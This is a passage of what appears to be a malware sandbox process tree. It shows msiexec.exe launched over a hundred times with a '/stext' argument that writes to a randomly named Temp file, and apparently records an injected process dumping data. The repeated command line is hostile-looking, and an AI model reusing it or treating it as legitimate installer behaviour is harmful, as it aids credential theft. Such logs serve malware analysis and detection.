- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8336
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8344
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8352
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8360
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8368
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8376
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8384
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8392
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8400
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8408
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8416
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8424
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8432
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8440
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8448
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8456
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8464
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8472
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8480
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8492
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8500
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8508
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8516
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8524
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8532
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8540
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8548
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8556
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8564
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8572
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8580
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8588
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8596
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8604
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8612
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8620
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8628
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8636
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8644
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8652
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8660
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8668
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8676
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8684
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8692
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8700
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8708
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8716
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8724
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8732
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8740
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8748
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8756
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8764
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8772
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8780
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8788
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8796
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8804
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8812
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8820
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8828
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8836
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8844
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8852
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8860
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8868
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8876
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8884
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8892
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8900
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8908
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8916
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8924
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8932
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8940
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8948
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8956
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8964
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8972
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8980
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8988
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8996
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9004
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9012
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9020
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9028
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9036
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9044
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9052
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9060
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9068
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9076
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9084
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9092
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9100
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9108
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9116
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9124
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9132
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9140
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9148
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9156
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9164
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9172
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9180
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9188
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9196
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9204
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9212
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8536
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9220
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9228
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9236
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9244
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9252
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9260
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9268
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9276
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9284
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9292
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9300
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9308
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9316
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9324
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9332
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9340
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9348
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9356
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9364
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9372
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9380
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9388
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9396
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9404
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9412
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9420
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9428
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9436
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9444
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9452
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:9460
- - C:\Windows\SysWOW64\msiexec.exe
